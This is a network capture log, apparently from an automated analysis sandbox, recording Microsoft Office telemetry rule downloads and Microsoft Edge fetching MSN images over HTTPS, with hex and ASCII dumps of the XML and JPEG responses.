2024-10-29 01:46:42 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014642Z-16849878b78hh85qc40uyr8sc8000000061000000000qkun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:42 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014642Z-15b8d89586fhl2qtatrz3vfkf00000000c0000000000977e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:42 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014642Z-16849878b78j7llf5vkyvvcehs00000006w000000000mhy6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49911	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	656	OUT	GET /tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:42 UTC	547	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 22 Oct 2024 00:15:30 GMT X-Datacenter: westus X-ActivityId: dfb0522c-03f5-4003-aea4-35aadbd5a629 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t X-Source-Length: 261407 Content-Length: 262144 Cache-Control: public, max-age=210549 Expires: Thu, 31 Oct 2024 12:15:51 GMT Date: Tue, 29 Oct 2024 01:46:42 GMT Connection: close
2024-10-29 01:46:42 UTC	15837	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 04 38 07 80 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``8}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2024-10-29 01:46:42 UTC	16384	IN	Data Raw: a0 02 80 12 80 0a 00 5a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 01 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 16 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 0f 37 6b 80 58 a8 91 c3 9e 9e 9f 4a e5 d4 f4 2e 88 7e d2 d1 1c 95 24 67 6b 71 8a 62 b9 a5 6d 2e f9 37 15 ce Data Ascii: Z(((((((((((((((((((((((((((((((7kXJ.~$gkqbm.7
2024-10-29 01:46:42 UTC	1891	IN	Data Raw: 0a 83 81 9a ca 55 52 d1 1b 46 93 7a b2 b4 f7 0c c9 f2 b1 1d b0 3f c6 b2 75 1b 35 8d 24 88 1d 8f 01 97 0d fd ec f7 a8 b2 34 bb 23 79 38 2b 20 c1 5c f3 fe 34 95 83 52 3d e1 d4 6e 50 71 d1 b3 cd 31 21 ac 89 8f 99 b9 f4 22 a9 3b 09 ea 35 a5 c6 15 50 81 f9 d2 02 27 39 c6 59 7a fd dd d8 39 f5 14 80 85 b7 90 57 6f 4e a0 9e 6a 90 80 18 f6 e0 e4 b0 f4 3c fe 22 8b 01 1b 32 6f 25 48 21 b8 e7 23 14 d2 25 b1 bb 43 44 e3 78 ca f5 52 7a fd 2a 92 b0 6e 22 16 2a b8 04 11 d7 a7 1e e2 81 20 36 c4 3e 65 61 9c e7 38 c5 26 d0 6a 0d 6a 65 f3 72 a3 69 01 83 7b f6 a1 c9 15 ca ca f7 96 0a 59 65 59 17 18 fb ad e9 42 90 34 47 04 77 0b 2b 46 c1 80 cf 0c 4f e4 08 fe b4 d9 25 b8 a3 04 32 32 7c f9 f9 8a 9c 1f 6a 96 34 38 44 4b 8d c3 27 1c 82 39 3f 4a 57 d0 ab 6a 58 54 44 87 7c 6b 8d a7 Data Ascii: URFz?u5$4#y8+ \4R=nPq1!";5P'9Yz9WoNj<"2o%H!#%CDxRzn" 6>ea8&jjeri{YeYB4Gw+FO%22\|j48DK'9?JWjXTD\|k
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 1b 18 cf b8 cd 00 44 77 bf 20 9c 1e d9 a3 a8 0a b1 8d e1 9c b7 a1 cf 5a ad 89 7a 8a 0e de 00 f9 0f ad 03 2b dc 36 40 2a e0 85 e0 8c f2 3e b4 c9 20 69 5f 6f 03 a7 b6 28 ea 17 d0 af 29 c0 cb 31 a3 c8 3c c6 7d a1 98 0c e4 f6 eb 4d 22 5b 1e 80 b3 13 b5 37 74 e7 bf a5 34 80 5d a3 24 95 21 b1 e9 8e 3d 71 4c 56 17 cb 00 67 60 c8 ea 33 d8 d2 b8 ec 3b e7 8c 85 da 0a fa 93 ce 0f 41 ef 52 31 e8 cc 1d 90 81 c7 3e 9f 8d 22 96 a4 65 81 f9 70 77 74 1b 7a 50 22 37 39 03 2e 0a f7 18 ff 00 3c 51 b6 c1 7b ee 21 c2 9d 8a 83 fd ec 93 fa 55 22 4b 31 c6 77 00 40 3b 81 dd c7 06 80 42 c9 f2 8f 98 97 0c 3d 47 5f 63 50 5f 98 46 0b 0c 90 3e 5e aa 3b 8f 5a a1 31 f1 c7 bc 10 aa 41 1c 1e 39 c7 6e 3b 8a 4c 0b 69 6d b8 a2 b9 1d 3e 56 c6 0e 68 d8 76 b8 f4 5f 2c 98 d8 12 14 ff 00 08 1c 1f Data Ascii: Dw Zz+6@*> i_o()1<}M"[7t4]$!=qLVg`3;AR1>"epwtzP"79.<Q{!U"K1w@;B=G_cP_F>^;Z1A9n;Lim>Vhv_,
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 4b 99 85 90 35 b2 65 76 a8 19 eb cd 1c cc 7c a8 69 b7 8c e4 ed 1b be b4 f9 98 9c 50 9f 67 4d d9 28 0e 4d 1c cc 4a 28 6f d9 d5 b9 23 af bd 1c cc 7c 88 41 6a a3 b0 c7 d7 b5 3e 66 1c a8 16 dd 00 51 b4 6d 1d 06 7a 51 ce ee 2e 55 60 36 c8 00 25 01 cd 35 36 2e 54 34 db 2b 6e 2e b9 e3 81 9a 39 b6 0e 5d c6 ad a2 60 61 71 8f 7f 6a 39 83 90 68 b5 51 93 b7 e9 cd 27 26 1c a2 7d 98 6d 3f 29 f4 eb 4f 98 39 44 16 a8 aa 40 5e bc 75 a4 a6 1c a2 7d 9c 05 da aa 76 8e 40 cf 7f ad 57 30 b9 06 fd 9f 7b 96 39 1d 3b d1 cd a0 b9 75 14 41 92 58 83 ed cd 1c c1 ca 33 c8 cb 00 72 06 30 0d 3e 64 2e 56 12 c1 b9 f8 df b4 74 24 e4 fe 74 b9 86 e2 c8 cc 2f bf 80 7b 63 df eb 42 69 03 8b 63 de 26 95 fe 5c 8c 0a 2e 90 f9 5b 12 28 5d 08 2c c7 1f 5a 7c c8 5c ac 70 56 5f e2 3f e7 bd 2b a0 69 f7 Data Ascii: K5ev\|iPgM(MJ(o#\|Aj>fQmzQ.U`6%56.T4+n.9]`aqj9hQ'&}m?)O9D@^u}v@W0{9;uAX3r0>d.Vt$t/{cBic&\.[(],Z\|\pV_?+i
2024-10-29 01:46:43 UTC	7952	IN	Data Raw: 28 c9 3d 7e 94 00 9b a4 00 7c bc fa d3 b0 01 67 20 ee 51 9c 73 48 08 be 6c 82 48 07 e9 4c 03 90 0f 4c 13 f9 d1 60 17 08 42 e5 48 1d 71 40 07 97 09 5f 9b 20 f7 c1 a2 c0 1e 4d bf 0d b8 fd 08 e2 8b 00 79 30 6d fb c4 0e c3 34 58 07 f9 31 70 77 8e 87 1f fd 71 48 05 8e 18 7f bd cf d7 f9 50 02 fd 9d 31 cb 0f 6e 68 01 04 0b dd c6 7a 8e 7b 50 03 4d bf 19 57 e7 da 80 18 b1 b8 18 dc 07 3d 68 01 8f 1e c1 85 00 f3 c7 d3 de 81 e8 31 41 dd 80 08 cf 34 08 90 23 11 f7 87 bf 14 00 be 4f 1f 78 f1 d0 ff 00 3a 60 29 89 42 e0 9c 9f af eb 48 07 22 05 2d 90 31 d3 9a 00 b7 3e e6 8d 1b e5 1e 5b 94 05 47 3d 79 fc 3f fa f5 64 12 4d 1b c6 d1 3a b0 0c 77 02 73 f2 80 7a 0f f3 d2 8b dc 7b 15 84 12 2c 0f 10 7f 98 30 c9 ef e9 83 e8 3f c4 53 ba 16 a4 8f 1c 92 2a c8 79 ce 30 09 e7 71 e9 9f Data Ascii: (=~\|g QsHlHLL`BHq@_ My0m4X1pwqHP1nhz{PMW=h1A4#Ox:`)BH"-1>[G=y?dM:wsz{,0?S*y0q
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 4c f0 cc a5 64 43 86 1e f5 ee c6 4a 49 4a 2f 43 ca 94 5c 5b 8b 12 99 22 d0 02 83 cf 3f fe ba 40 73 d3 c7 f6 7b a9 22 ec a7 e5 fa 1e 95 c8 d5 9b 47 a9 09 73 c1 48 7a 35 5a 64 b4 4a 1a ad 32 07 66 99 21 40 09 49 a1 8e 86 59 ad a4 f3 2d a6 92 17 fe f2 31 04 d4 4a 09 ab 49 14 a4 d6 c6 cd af 8b 75 78 30 24 68 6e 40 ff 00 9e 89 83 f9 8a e7 96 12 9b db 43 55 59 f5 34 e2 f1 c8 c7 ef f4 d6 cf ac 72 8f ea 2b 17 83 7d 19 4a ac 5e e8 9c 78 e2 c7 1c d9 5d 0f fb e7 fc 6a 7e a7 3e e8 7e d6 3d 86 3f 8e 6d 87 fa bd 3e 76 ff 00 79 d4 53 fa 9c bb 87 b5 8f 63 3e e7 c6 d7 f2 02 2d ad 60 84 76 2c 4b 91 fc 85 69 1c 1c 56 ec 9f 6d d9 18 57 fa ad f5 f9 3f 6d bb 92 51 fd cc e1 7f 21 c5 6f 0a 70 a7 f0 a2 1c e4 f7 63 b4 1d 26 4d 73 53 16 e0 15 b5 8b 0d 3b 8e cb d9 47 b9 e9 f9 d6 55 Data Ascii: LdCJIJ/C\["?@s{"GsHz5ZdJ2f!@IY-1JIux0$hn@CUY4r+}J^x]j~>~=?m>vySc>-`v,KiVmW?mQ!opc&MsS;GU
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 48 3d dc f1 8f a5 17 7d 82 d1 ea c7 a9 9c 9c b9 cf fb c0 ff 00 4a 15 c4 f9 7a 0b 96 c6 3c e8 ff 00 5a 2e fb 85 97 61 19 97 f8 a7 55 6f 54 34 5d 77 1a 8b ec 0b 72 8a 38 63 21 f5 db 4b 99 0d c1 f5 42 7d b1 31 b7 ca 7e 7d b8 a1 c8 4a 9b ee 21 ba 40 38 40 7d 00 6f fe bd 17 f2 1f 27 98 9f 6a 3d 7e 50 be f2 9f e8 28 b8 72 21 c2 e5 98 7c a5 76 fa 96 fe 94 5c 7c 89 09 f6 93 8e 64 4c ff 00 bd 8a 2e 3f 67 e4 06 eb 8c 33 b3 fb 00 b4 ae 1e cf b2 1a 6e 54 72 16 60 3f 01 f9 d1 cc 1c 8c 6b 5f 88 d4 02 aa 33 fd f6 e4 fd 00 a1 bb 0d 53 bb 1a 6f e5 e9 90 ab e8 17 1f d6 a6 ec af 67 10 fb 74 a9 d8 ee 3d f0 33 4f 99 8b 91 30 6b c9 02 65 80 3f 5e 9f 95 37 71 24 9b b1 0f db 25 39 05 d0 0f f6 50 54 dd 97 ca 87 7d a2 40 b9 32 91 9e f8 02 8d 42 cb b0 9f 68 77 c0 f3 24 db ed c0 a3 Data Ascii: H=}Jz<Z.aUoT4]wr8c!KB}1~}J!@8@}o'j=~P(r!\|v\\|dL.?g3nTr`?k_3Sogt=3O0ke?^7q$%9PT}@2Bhw$
2024-10-29 01:46:43 UTC	7952	IN	Data Raw: 3b 48 68 18 63 d2 41 f9 d0 01 c8 fe 20 7f 11 40 06 4f aa 50 01 c9 fe 14 a0 00 a9 fe e8 fa 83 40 09 9c 1e a6 80 1c 18 f5 24 9a 00 6b 11 9f e2 14 00 a2 5c 77 34 58 04 dc 87 f8 3f 5a 00 32 9e 87 f3 a0 03 e4 f7 fc e8 00 da 47 45 24 7d 68 01 32 a3 ef 23 0f c6 80 0c a7 6d df a5 00 2e 3d 03 50 02 64 e3 a3 d0 02 86 3f ed fe 74 00 bb 8f a3 7e 5c 50 02 6f f5 02 80 0d c8 7f 87 9f ad 00 18 cf dd 72 3d 88 fe b4 00 6d 7f 55 3f 8d 00 26 d9 3f bb fa 50 02 65 87 50 7f 5a 00 5d ed fd ef d6 80 17 73 1f e2 a0 04 67 75 fb ca 7f 2a 00 37 e4 72 ab f9 50 01 98 cf 05 82 9f 6a 00 0a b2 f2 17 70 fa e6 80 b0 d0 e0 f5 c0 34 00 f0 40 1c 80 47 d6 80 10 aa 16 c9 23 f3 a0 03 03 3c 38 fc a8 01 78 fe f1 fc 05 00 26 54 f7 3f 95 00 2e e1 fd e3 f9 d0 02 64 77 63 f4 c5 00 1c 67 82 68 01 48 2d Data Ascii: ;HhcA @OP@$k\w4X?Z2GE$}h2#m.=Pd?t~\Por=mU?&?PePZ]sgu*7rPjp4@G#<8x&T?.dwcghH-
2024-10-29 01:46:43 UTC	16288	IN	Data Raw: 3d 77 67 a0 3f 85 3f 99 a2 d7 69 0f 1f ee fe 94 d4 5b ea 5a 8b 7d 47 79 91 8f bc 0f e7 57 66 6a ae 3c 34 47 a3 b0 fd 69 ea 02 ed fe ec 83 f1 04 50 31 08 95 7f 84 91 ea 1b 34 00 df 33 9c 33 90 7d c5 02 1e 0b 63 87 cf d0 f3 f9 50 02 79 83 3c b3 7e 34 58 04 22 33 ce e2 a7 e9 40 06 d6 1f 75 e3 6f c7 14 00 a3 cd 1d 14 fe 07 34 00 85 bf bc 9f f8 ed 00 01 93 fb bf ce 80 0f 97 fb a7 f3 a0 03 09 d9 88 3e e2 80 0c 1e ee 94 00 bb 0f 66 5f a6 68 01 bb 7b 1d bf 9d 00 38 64 7f 1f eb 40 0b 96 ec e3 f3 a0 04 f9 ff 00 ba 1b f0 06 80 1a db 7f 8a 32 3d c6 45 00 28 51 c9 8d 87 d0 f0 68 00 2f 22 0f 9b 38 fa 66 8b 20 00 e9 fd d0 7e 83 14 00 b9 8f b2 91 f4 34 00 a3 69 1c 3b fd 08 06 80 13 69 1f 73 0d 40 09 e6 95 3f 32 ba 9f a6 28 00 2d bb a8 0c 3d d6 80 b8 a0 a0 fb 98 5f c4 8a Data Ascii: =wg??i[Z}GyWfj<4GiP1433}cPy<~4X"3@uo4>f_h{8d@2=E(Qh/"8f ~4i;is@?2(-=_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49912	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:43 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZa Last-Modified: Fri, 25 Oct 2024 09:21:19 GMT X-Source-Length: 110548 X-Datacenter: eastus X-ActivityId: fef1dbf3-c5a0-456b-b971-71b7004fd9b2 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 110548 Cache-Control: public, max-age=113608 Expires: Wed, 30 Oct 2024 09:20:10 GMT Date: Tue, 29 Oct 2024 01:46:42 GMT Connection: close
2024-10-29 01:46:43 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 4d 57 22 e2 d6 73 a5 ae 1a 1e c5 97 de ba 22 c6 bb 72 8e 69 90 aa b2 1d 8c 46 92 11 25 4f c2 a9 e9 8d 81 54 91 04 59 95 7b 22 fa 43 7a af a7 bd 12 84 52 25 0f d3 3b 51 bd 33 b5 32 d7 a6 00 3d 33 b4 27 e9 94 68 70 d0 aa 49 0a 84 53 03 95 70 bb 62 2c 95 79 28 cc 08 d0 76 2c 52 f1 4a c2 e4 01 15 6a 91 20 e8 16 c3 10 04 64 ee a6 60 0b 70 a5 20 41 85 6c 2a 5e 15 52 d8 4e 40 04 2d ba 24 1d 85 59 ad 77 45 19 0c 1a 11 2a 6e 0d a6 56 40 0a 25 14 45 00 ec ed 57 c2 75 3d 88 d3 b9 3b ec 4b 31 c2 06 1a 36 27 08 8b 2c 33 2a 4a 90 50 9a 2f b7 72 1e 20 72 9f 92 63 36 16 42 65 d0 80 e7 a5 23 09 10 a9 28 38 c9 d1 54 a4 20 86 a5 94 5c 4e 56 96 ef 55 94 01 58 29 e1 4e 37 a7 84 aa 26 4c c2 ab 0b 60 ab 41 4c 01 d9 3b 22 e1 2a b8 4a 62 29 6d a9 c0 dc af 85 3c 08 10 3c 03 77 62 Data Ascii: MW"s"riF%OTY{"CzR%;Q32=3'hpISpb,y(v,RJj d`p Al^RN@-$YwEnV@%EWu=;K16',3JP/r rc6Be#(8T \NVUX)N7&L`AL;"Jb)m<<wb
2024-10-29 01:46:43 UTC	2981	IN	Data Raw: 65 96 cf 74 0d 9b 50 80 73 67 dc 46 5a f6 ae bb 39 ae b7 1c b4 63 a9 f9 9e d4 43 6a 7b d9 70 7e e0 b8 6f 88 7c 38 fb aa d3 6e 30 6e e6 44 9e a2 dd a3 34 81 c3 f1 dc 4f 0e eb 1c 57 c9 76 dc 3f c5 a9 71 0e 0d a8 d2 c7 1b 03 68 3d 4e 45 77 2e 4b 39 14 3c 99 72 ae df 23 ca 6b b2 68 b9 8d a6 06 a3 0e e3 3d 56 d2 a4 43 18 3d 10 4c 67 30 7b e5 7b 0f 11 f0 da 3c 48 c4 df 6b b4 7b 33 e6 35 f3 75 c1 57 f8 57 13 44 93 2e 70 fc cd 69 77 68 99 1e 2b 37 63 b7 bf 71 34 e2 30 d4 e3 68 97 37 8d 26 f6 c4 24 69 64 bd c5 80 ee 1e a1 96 98 19 8b 6b d4 a4 e2 c6 d3 7c e2 c5 27 32 d8 83 95 c5 d1 6a e0 75 27 00 f1 25 a6 c0 00 1d bb 72 e6 be d9 ba d6 9e 85 4e 6b 4c 85 1f 86 3f ff 00 6a d0 6f 0e 75 a3 7e d3 01 4d e2 70 36 8d 4a 8d 6b 98 e6 b4 91 ed 31 31 d9 1e 09 2f e1 f5 3d 1a 21 Data Ascii: etPsgFZ9cCj{p~o\|8n0nD4OWv?qh=NEw.K9<r#kh=VC=Lg0{{<Hk{35uWWD.piwh+7cq40h7&$idk\|'2ju'%rNkL?jou~Mp6Jk11/=!
